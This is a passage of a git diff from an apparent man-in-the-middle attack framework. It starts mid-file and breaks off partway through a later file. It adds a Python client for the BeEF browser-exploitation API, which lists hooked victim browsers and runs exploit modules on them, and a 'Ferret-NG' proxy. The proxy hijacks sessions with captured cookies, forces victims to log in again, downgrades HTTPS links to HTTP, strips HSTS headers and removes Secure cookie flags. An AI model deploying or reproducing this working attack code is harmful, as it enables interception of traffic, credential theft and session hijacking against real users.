██║╚██╔╝██║██╔══╝ +██║ ╚═╝ ██║██║ ██║ ██║ ╚═╝ ██║██║ +╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ +""" + +banner5 = """ +@@@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@ @@@@@@@@ +@@@@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@@ @@@@@@@@ +@@! @@! @@! @@! @@! @@! @@! @@! @@! +!@! !@! !@! !@! !@! !@! !@! !@! !@! +@!! !!@ @!@ !!@ @!! @!! !!@ @!@ @!!!:! +!@! ! !@! !!! !!! !@! ! !@! !!!!!: +!!: !!: !!: !!: !!: !!: !!: +:!: :!: :!: :!: :!: :!: :!: +::: :: :: :: ::: :: :: + : : : : : : : +""" + +def get_banner(): + return random.choice([banner1, banner2, banner3, banner4, banner5]) diff --git a/core/beefapi b/core/beefapi deleted file mode 160000 index 28d2fef..0000000 --- a/core/beefapi +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 28d2fef986e217425cb621701f267e40425330c4 diff --git a/core/beefapi.py b/core/beefapi.py new file mode 100644 index 0000000..e427619 --- /dev/null +++ b/core/beefapi.py @@ -0,0 +1,367 @@ +#! /usr/bin/env python2.7 + +# BeEF-API - A Python API for BeEF (The Browser Exploitation Framework) http://beefproject.com/ + +# Copyright (c) 2015-2016 Marcello Salvati - byt3bl33d3r@gmail.com +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import requests +import json + +from UserList import UserList + +class BeefAPI: + + def __init__(self, opts=[]): + self.host = opts.get('host') or "127.0.0.1" + self.port = opts.get('port') or "3000" + self.token = None + self.url = "http://{}:{}/api/".format(self.host, self.port) + self.login_url = self.url + "admin/login" + + def login(self, username, password): + try: + auth = json.dumps({"username": username, "password": password}) + r = requests.post(self.login_url, data=auth) + data = r.json() + + if (r.status_code == 200) and (data["success"]): + self.token = data["token"] #Auth token + + self.hooks_url = "{}hooks?token={}".format(self.url, self.token) + self.modules_url = "{}modules?token={}".format(self.url, self.token) + self.logs_url = "{}logs?token={}".format(self.url, self.token) + self.are_url = "{}autorun/rule/".format(self.url) + self.dns_url = "{}dns/ruleset?token={}".format(self.url, self.token) + + return True + elif r.status_code != 200: + return False + + except Exception as e: + print "[BeEF-API] Error logging in to BeEF: {}".format(e) + + @property + def hooked_browsers(self): + r = requests.get(self.hooks_url) + return Hooked_Browsers(r.json(), self.url, self.token) + + @property + def dns(self): + r = requests.get(self.dns_url) + return DNS(r.json(), self.url, self.token) + + @property + def logs(self): + logs = [] + r = requests.get(self.logs_url) + for log in r.json()['logs']: + logs.append(Log(log)) + return logs + + @property + def modules(self): + modules = ModuleList([]) + r = requests.get(self.modules_url) + for k,v in r.json().iteritems(): + modules.append(Module(v, self.url, self.token)) + return modules + + @property + def are_rules(self): + return ARE_Rules(self.are_url, self.token) + +class ModuleList(UserList): + + def __init__(self, mlist): + self.data = mlist + + def findbyid(self, m_id): + for m in self.data: + if m_id == m.id: + return m + + def findbyname(self, m_name): + pmodules = ModuleList([]) + for m in self.data: + if (m.name.lower().find(m_name.lower()) != -1) : + pmodules.append(m) + return pmodules + +class SessionList(UserList): + + def __init__(self, slist): + self.data = slist + + def findbysession(self, session): + for s in self.data: + if s.session == session: + return s + + def findbyos(self, os): + res = SessionList([]) + for s in self.data: + if (s.os.lower().find(os.lower()) != -1): + res.append(s) + return res + + def findbyip(self, ip): + res = SessionList([]) + for s in self.data: + if ip == s.ip: + res.append(s) + return res + + def findbyid(self, s_id): + for s in self.data: + if s.id == s_id: + return s + + def findbybrowser(self, browser): + res = SessionList([]) + for s in self.data: + if browser == s.name: + res.append(s) + return res + + def findbybrowser_v(self, browser_v): + res = SessionList([]) + for s in self.data: + if browser_v == s.version: + res.append(s) + return res + + def findbypageuri(self, uri): + res = SessionList([]) + for s in self.data: + if uri in s.page_uri: + res.append(s) + return res + + def findbydomain(self, domain): + res = SessionList([]) + for s in self.data: + if domain in s.domain: + res.append(s) + return res + +class ARE_Rule(object): + + def __init__(self, data, url, token): + self.url = url + self.token = token + + for k,v in data.iteritems(): + setattr(self, k, v) + + self.modules = json.loads(self.modules) + + def trigger(self): + r = requests.get('{}/trigger/{}?token={}'.format(self.url, self.id, self.token)) + return r.json() + + def delete(self): + r = requests.get('{}/delete/{}?token={}'.format(self.url, self.id, self.token)) + return r.json() + +class ARE_Rules(object): + + def __init__(self, url, token): + self.url = url + self.token = token + + def list(self): + rules = [] + r = requests.get('{}/list/all?token={}'.format(self.url, self.token)) + data = r.json() + if (r.status_code == 200) and (data['success']): + for rule in data['rules']: + rules.append(ARE_Rule(rule, self.url, self.token)) + + return rules + + def add(self, rule_path): + if rule_path.endswith('.json'): + headers = {'Content-Type': 'application/json; charset=UTF-8'} + with open(rule_path, 'r') as rule: + payload = rule.read() + r = requests.post('{}/add?token={}'.format(self.url, self.token), data=payload, headers=headers) + return r.json() + + def trigger(self, rule_id): + r = requests.get('{}/trigger/{}?token={}'.format(self.url, rule_id, self.token)) + return r.json() + + def delete(self, rule_id): + r = requests.get('{}/delete/{}?token={}'.format(self.url, rule_id, self.token)) + return r.json() + +class Module(object): + + def __init__(self, data, url, token): + self.url = url + self.token = token + + for k,v in data.iteritems(): + setattr(self, k, v) + + @property + def options(self): + r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() + return r['options'] + + @property + def description(self): + r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() + return r['description'] + + def run(self, session, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/modules/{}/{}?token={}".format(self.url, session, self.id, self.token), headers=headers, data=payload) + return r.json() + + def multi_run(self, options={}, hb_ids=[]): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"mod_id":self.id, "mod_params": options, "hb_ids": hb_ids}) + r = requests.post("{}/modules/multi_browser?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() + + def results(self, session, cmd_id): + r = requests.get("{}/modules/{}/{}/{}?token={}".format(self.url, session, self.id, cmd_id, self.token)) + return r.json() + +class Log(object): + + def __init__(self, log_dict): + for k,v in log_dict.iteritems(): + setattr(self, k, v) + +class DNS_Rule(object): + + def __init__(self, rule, url, token): + self.url = url + self.token = token + + for k,v in rule.iteritems(): + setattr(self, k, v) + + def delete(self): + r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, self.id, self.token)) + return r.json() + +class DNS(object): + + def __init__(self, data, url, token): + self.data = data + self.url = url + self.token = token + + @property + def ruleset(self): + ruleset = [] + r = requests.get("{}/dns/ruleset?token={}".format(self.url, self.token)) + for rule in r.json()['ruleset']: + ruleset.append(DNS_Rule(rule, self.url, self.token)) + return ruleset + + def add(self, pattern, resource, response=[]): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"pattern": pattern, "resource": resource, "response": response}) + r = requests.post("{}/dns/rule?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() + + def delete(self, rule_id): + r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, rule_id, self.token)) + return r.json() + +class Hooked_Browsers(object): + + def __init__(self, data, url, token): + self.data = data + self.url = url + self.token = token + + @property + def online(self): + sessions = SessionList([]) + for k,v in self.data['hooked-browsers']['online'].iteritems(): + sessions.append(Session(v['session'], self.data, self.url, self.token)) + return sessions + + @property + def offline(self): + sessions = SessionList([]) + for k,v in self.data['hooked-browsers']['offline'].iteritems(): + sessions.append(Session(v['session'], self.data, self.url, self.token)) + return sessions + +class Session(object): + + def __init__(self, session, data, url, token): + self.session = session + self.data = data + self.url = url + self.token = token + + self.domain = self.get_property('domain') + self.id = self.get_property('id') + self.ip = self.get_property('ip') + self.name = self.get_property('name') #Browser name + self.os = self.get_property('os') + self.page_uri = self.get_property('page_uri') + self.platform = self.get_property('platform') #Ex. win32 + self.port = self.get_property('port') + self.version = self.get_property('version') #Browser version + + @property + def details(self): + r = requests.get('{}/hooks/{}?token={}'.format(self.url, self.session, self.token)) + return r.json() + + @property + def logs(self): + logs = [] + r = requests.get('{}/logs/{}?token={}'.format(self.url, self.session, self.token)) + for log in r.json()['logs']: + logs.append(Log(log)) + return logs + + def update(self, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/hooks/update/{}?token={}".format(self.url, self.session, self.token), headers=headers, data=payload) + return r.json() + + def run(self, module_id, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/modules/{}/{}?token={}".format(self.url, self.session, module_id, self.token), headers=headers, data=payload) + return r.json() + + def multi_run(self, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"hb": self.session, "modules":[options]}) + r = requests.post("{}/modules/multi_module?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() + + def get_property(self, key): + for k,v in self.data['hooked-browsers'].iteritems(): + for l,s in v.iteritems(): + if self.session == s['session']: + return s[key] diff --git a/core/configwatcher.py b/core/configwatcher.py new file mode 100644 index 0000000..95716de --- /dev/null +++ b/core/configwatcher.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import pyinotify +import threading +from configobj import ConfigObj + +class ConfigWatcher(pyinotify.ProcessEvent, object): + + @property + def config(self): + return ConfigObj("./config/mitmf.conf") + + def process_IN_MODIFY(self, event): + self.on_config_change() + + def start_config_watch(self): + wm = pyinotify.WatchManager() + wm.add_watch('./config/mitmf.conf', pyinotify.IN_MODIFY) + notifier = pyinotify.Notifier(wm, self) + + t = threading.Thread(name='ConfigWatcher', target=notifier.loop) + t.setDaemon(True) + t.start() + + def on_config_change(self): + """ We can subclass this function to do stuff after the config file has been modified""" + pass diff --git a/core/ferretng/ClientRequest.py b/core/ferretng/ClientRequest.py new file mode 100644 index 0000000..226f6a2 --- /dev/null +++ b/core/ferretng/ClientRequest.py @@ -0,0 +1,171 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import urlparse +import logging +import os +import sys +import random +import re + +from twisted.web.http import Request +from twisted.web.http import HTTPChannel +from twisted.web.http import HTTPClient + +from twisted.internet import ssl +from twisted.internet import defer +from twisted.internet import reactor +from twisted.internet.protocol import ClientFactory + +from core.logger import logger +from ServerConnectionFactory import ServerConnectionFactory +from ServerConnection import ServerConnection +from SSLServerConnection import SSLServerConnection +from URLMonitor import URLMonitor +from CookieCleaner import CookieCleaner +from DnsCache import DnsCache + +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ClientRequest", formatter) + +class ClientRequest(Request): + + ''' This class represents incoming client requests and is essentially where + the magic begins. Here we remove the client headers we dont like, and then + respond with either favicon spoofing, session denial, or proxy through HTTP + or SSL to the server. + ''' + + def __init__(self, channel, queued, reactor=reactor): + Request.__init__(self, channel, queued) + self.reactor = reactor + self.urlMonitor = URLMonitor.getInstance() + self.cookieCleaner = CookieCleaner.getInstance() + self.dnsCache = DnsCache.getInstance() + #self.uniqueId = random.randint(0, 10000) + + def cleanHeaders(self): + headers = self.getAllHeaders().copy() + + if 'accept-encoding' in headers: + del headers['accept-encoding'] + log.debug("[ClientRequest] Zapped encoding") + + if 'if-modified-since' in headers: + del headers['if-modified-since'] + + if 'cache-control' in headers: + del headers['cache-control'] + + if 'host' in headers: + try: + for entry in self.urlMonitor.cookies[self.urlMonitor.hijack_client]: + if headers['host'] == entry['host']: + log.info("Hijacking session for host: {}".format(headers['host'])) + headers['cookie'] = entry['cookie'] + except KeyError: + log.error("No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client)) + + return headers + + def getPathFromUri(self): + if (self.uri.find("http://") == 0): + index = self.uri.find('/', 7) + return self.uri[index:] + + return self.uri + + def handleHostResolvedSuccess(self, address): + log.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) + host = self.getHeader("host") + headers = self.cleanHeaders() + client = self.getClientIP() + path = self.getPathFromUri() + url = 'http://' + host + path + self.uri = url # set URI to absolute + + if self.content: + self.content.seek(0,0) + + postData = self.content.read() + + hostparts = host.split(':') + self.dnsCache.cacheResolution(hostparts[0], address) + + if (not self.cookieCleaner.isClean(self.method, client, host, headers)): + log.debug("[ClientRequest] Sending expired cookies") + self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) + + elif self.urlMonitor.isSecureLink(client, url): + log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) + self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) + + else: + log.debug("[ClientRequest] Sending request via HTTP") + #self.proxyViaHTTP(address, self.method, path, postData, headers) + port = 80 + if len(hostparts) > 1: + port = int(hostparts[1]) + + self.proxyViaHTTP(address, self.method, path, postData, headers, port) + + def handleHostResolvedError(self, error): + log.debug("[ClientRequest] Host resolution error: {}".format(error)) + try: + self.finish() + except: + pass + + def resolveHost(self, host): + address = self.dnsCache.getCachedAddress(host) + + if address != None: + log.debug("[ClientRequest] Host cached: {} {}".format(host, address)) + return defer.succeed(address) + else: + return reactor.resolve(host) + + def process(self): + log.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host'))) + host = self.getHeader('host').split(":")[0] + + deferred = self.resolveHost(host) + deferred.addCallback(self.handleHostResolvedSuccess) + deferred.addErrback(self.handleHostResolvedError) + + def proxyViaHTTP(self, host, method, path, postData, headers, port): + connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) + connectionFactory.protocol = ServerConnection + #self.reactor.connectTCP(host, 80, connectionFactory) + self.reactor.connectTCP(host, port, connectionFactory) + + def proxyViaSSL(self, host, method, path, postData, headers, port): + clientContextFactory = ssl.ClientContextFactory() + connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) + connectionFactory.protocol = SSLServerConnection + self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) + + def sendExpiredCookies(self, host, path, expireHeaders): + self.setResponseCode(302, "Moved") + self.setHeader("Connection", "close") + self.setHeader("Location", "http://" + host + path) + + for header in expireHeaders: + self.setHeader("Set-Cookie", header) + + self.finish() diff --git a/core/ferretng/CookieCleaner.py b/core/ferretng/CookieCleaner.py new file mode 100644 index 0000000..892fce0 --- /dev/null +++ b/core/ferretng/CookieCleaner.py @@ -0,0 +1,103 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import string + +class CookieCleaner: + '''This class cleans cookies we haven't seen before. The basic idea is to + kill sessions, which isn't entirely straight-forward. Since we want this to + be generalized, there's no way for us to know exactly what cookie we're trying + to kill, which also means we don't know what domain or path it has been set for. + + The rule with cookies is that specific overrides general. So cookies that are + set for mail.foo.com override cookies with the same name that are set for .foo.com, + just as cookies that are set for foo.com/mail override cookies with the same name + that are set for foo.com/ + + The best we can do is guess, so we just try to cover our bases by expiring cookies + in a few different ways. The most obvious thing to do is look for individual cookies + and nail the ones we haven't seen coming from the server, but the problem is that cookies are often + set by Javascript instead of a Set-Cookie header, and if we block those the site + will think cookies are disabled in the browser. So we do the expirations and whitlisting + based on client,server tuples. The first time a client hits a server, we kill whatever + cookies we see then. After that, we just let them through. Not perfect, but pretty effective. + + ''' + + _instance = None + + def __init__(self): + self.cleanedCookies = set(); + self.enabled = False + + @staticmethod + def getInstance(): + if CookieCleaner._instance == None: + CookieCleaner._instance = CookieCleaner() + + return CookieCleaner._instance + + def setEnabled(self, enabled): + self.enabled = enabled + + def isClean(self, method, client, host, headers): + if method == "POST": return True + if not self.enabled: return True + if not self.hasCookies(headers): return True + + return (client, self.getDomainFor(host)) in self.cleanedCookies + + def getExpireHeaders(self, method, client, host, headers, path): + domain = self.getDomainFor(host) + self.cleanedCookies.add((client, domain)) + + expireHeaders = [] + + for cookie in headers['cookie'].split(";"): + cookie = cookie.split("=")[0].strip() + expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) + expireHeaders.extend(expireHeadersForCookie) + + return expireHeaders + + def hasCookies(self, headers): + return 'cookie' in headers + + def getDomainFor(self, host): + hostParts = host.split(".") + return "." + hostParts[-2] + "." + hostParts[-1] + + def getExpireCookieStringFor(self, cookie, host, domain, path): + pathList = path.split("/") + expireStrings = list() + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + if len(pathList) > 2: + expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + + domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + + host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + return expireStrings + + diff --git a/core/ferretng/DnsCache.py b/core/ferretng/DnsCache.py new file mode 100644 index 0000000..f839f23 --- /dev/null +++ b/core/ferretng/DnsCache.py @@ -0,0 +1,45 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +class DnsCache: + + ''' + The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. + ''' + + _instance = None + + def __init__(self): + self.customAddress = None + self.cache = {} + + @staticmethod + def getInstance(): + if DnsCache._instance == None: + DnsCache._instance = DnsCache() + + return DnsCache._instance + + def cacheResolution(self, host, address): + self.cache[host] = address + + def getCachedAddress(self, host): + if host in self.cache: + return self.cache[host] + + return None diff --git a/core/ferretng/FerretProxy.py b/core/ferretng/FerretProxy.py new file mode 100644 index 0000000..d95f786 --- /dev/null +++ b/core/ferretng/FerretProxy.py @@ -0,0 +1,24 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from twisted.web.http import HTTPChannel +from ClientRequest import ClientRequest + +class FerretProxy(HTTPChannel): + + requestFactory = ClientRequest diff --git a/core/ferretng/SSLServerConnection.py b/core/ferretng/SSLServerConnection.py new file mode 100644 index 0000000..778c73d --- /dev/null +++ b/core/ferretng/SSLServerConnection.py @@ -0,0 +1,97 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging, re, string + +from core.logger import logger +from ServerConnection import ServerConnection +from URLMonitor import URLMonitor + +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_SSLServerConnection", formatter) + +class SSLServerConnection(ServerConnection): + + ''' + For SSL connections to a server, we need to do some additional stripping. First we need + to make note of any relative links, as the server will be expecting those to be requested + via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. + ''' + + cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) + cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) + iconExpression = re.compile(r"", re.IGNORECASE) + linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) + headExpression = re.compile(r"", re.IGNORECASE) + + def __init__(self, command, uri, postData, headers, client): + ServerConnection.__init__(self, command, uri, postData, headers, client) + self.urlMonitor = URLMonitor.getInstance() + + def getLogLevel(self): + return logging.INFO + + def getPostPrefix(self): + return "SECURE POST" + + def handleHeader(self, key, value): + if (key.lower() == 'set-cookie'): + value = SSLServerConnection.cookieExpression.sub("\g<1>", value) + + ServerConnection.handleHeader(self, key, value) + + def stripFileFromPath(self, path): + (strippedPath, lastSlash, file) = path.rpartition('/') + return strippedPath + + def buildAbsoluteLink(self, link): + absoluteLink = "" + + if ((not link.startswith('http')) and (not link.startswith('/'))): + absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link + + log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink) + elif not link.startswith('http'): + absoluteLink = "http://"+self.headers['host']+link + + log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink) + + if not absoluteLink == "": + absoluteLink = absoluteLink.replace('&', '&') + self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); + + def replaceCssLinks(self, data): + iterator = re.finditer(SSLServerConnection.cssExpression, data) + + for match in iterator: + self.buildAbsoluteLink(match.group(1)) + + return data + + def replaceSecureLinks(self, data): + data = ServerConnection.replaceSecureLinks(self, data) + data = self.replaceCssLinks(data) + + iterator = re.finditer(SSLServerConnection.linkExpression, data) + + for match in iterator: + self.buildAbsoluteLink(match.group(10)) + + return data diff --git a/core/ferretng/ServerConnection.py b/core/ferretng/ServerConnection.py new file mode 100644 index 0000000..f35fe2b --- /dev/null +++ b/core/ferretng/ServerConnection.py @@ -0,0 +1,195 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import re +import string +import random +import zlib +import gzip +import StringIO +import sys + +from core.logger import logger +from twisted.web.http import HTTPClient +from URLMonitor import URLMonitor + +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ServerConnection", formatter) + +class ServerConnection(HTTPClient): + + ''' The server connection is where we do the bulk of the stripping. Everything that + comes back is examined. The headers we dont like are removed, and the links are stripped + from HTTPS to HTTP. + ''' + + urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) + urlType = re.compile(r"https://", re.IGNORECASE) + urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) + urlTypewww = re.compile(r"https://www", re.IGNORECASE) + urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) + urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) + urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) + #urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) + + def __init__(self, command, uri, postData, headers, client): + + self.command = command + self.uri = uri + self.postData = postData + self.headers = headers + self.client = client + self.clientInfo = None + self.urlMonitor = URLMonitor.getInstance() + self.isImageRequest = False + self.isCompressed = False + self.contentLength = None + self.shutdownComplete = False + + def getPostPrefix(self): + return "POST" + + def sendRequest(self): + if self.command == 'GET': + + log.debug(self.client.getClientIP() + "Sending Request: {}".format(self.headers['host'])) + + self.sendCommand(self.command, self.uri) + + def sendHeaders(self): + for header, value in self.headers.iteritems(): + log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value)) + self.sendHeader(header, value) + + self.endHeaders() + + def sendPostData(self): + + self.transport.write(self.postData) + + def connectionMade(self): + log.debug("[ServerConnection] HTTP connection made.") + self.sendRequest() + self.sendHeaders() + + if (self.command == 'POST'): + self.sendPostData() + + def handleStatus(self, version, code, message): + log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) + self.client.setResponseCode(int(code), message) + + def handleHeader(self, key, value): + if (key.lower() == 'location'): + value = self.replaceSecureLinks(value) + + if (key.lower() == 'content-type'): + if (value.find('image') != -1): + self.isImageRequest = True + log.debug("[ServerConnection] Response is image content, not scanning") + + if (key.lower() == 'content-encoding'): + if (value.find('gzip') != -1): + log.debug("[ServerConnection] Response is compressed") + self.isCompressed = True + + elif (key.lower()== 'strict-transport-security'): + log.debug("[ServerConnection] Zapped a strict-transport-security header") + + elif (key.lower() == 'content-length'): + self.contentLength = value + + elif (key.lower() == 'set-cookie'): + self.client.responseHeaders.addRawHeader(key, value) + + else: + self.client.setHeader(key, value) + + def handleEndHeaders(self): + if (self.isImageRequest and self.contentLength != None): + self.client.setHeader("Content-Length", self.contentLength) + + if self.length == 0: + self.shutdown() + + if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG": + for header, value in self.client.headers.iteritems(): + log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value)) + + def handleResponsePart(self, data): + if (self.isImageRequest): + self.client.write(data) + else: + HTTPClient.handleResponsePart(self, data) + + def handleResponseEnd(self): + if (self.isImageRequest): + self.shutdown() + else: + try: + HTTPClient.handleResponseEnd(self) #Gets rid of some generic errors + except: + pass + + def handleResponse(self, data): + if (self.isCompressed): + log.debug("[ServerConnection] Decompressing content...") + data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() + + data = self.replaceSecureLinks(data) + + log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) + + if (self.contentLength != None): + self.client.setHeader('Content-Length', len(data)) + + try: + self.client.write(data) + except: + pass + + try: + self.shutdown() + except: + log.info("[ServerConnection] Client connection dropped before request finished.") + + def replaceSecureLinks(self, data): + + iterator = re.finditer(ServerConnection.urlExpression, data) + + for match in iterator: + url = match.group() + + log.debug("[ServerConnection] Found secure reference: " + url) + + url = url.replace('https://', 'http://', 1) + url = url.replace('&', '&') + self.urlMonitor.addSecureLink(self.client.getClientIP(), url) + + data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data) + return re.sub(ServerConnection.urlType, 'http://', data) + + def shutdown(self): + if not self.shutdownComplete: + self.shutdownComplete = True + try: + self.client.finish() + self.transport.loseConnection() + except: + pass diff --git a/core/ferretng/ServerConnectionFactory.py b/core/ferretng/ServerConnectionFactory.py new file mode 100644 index 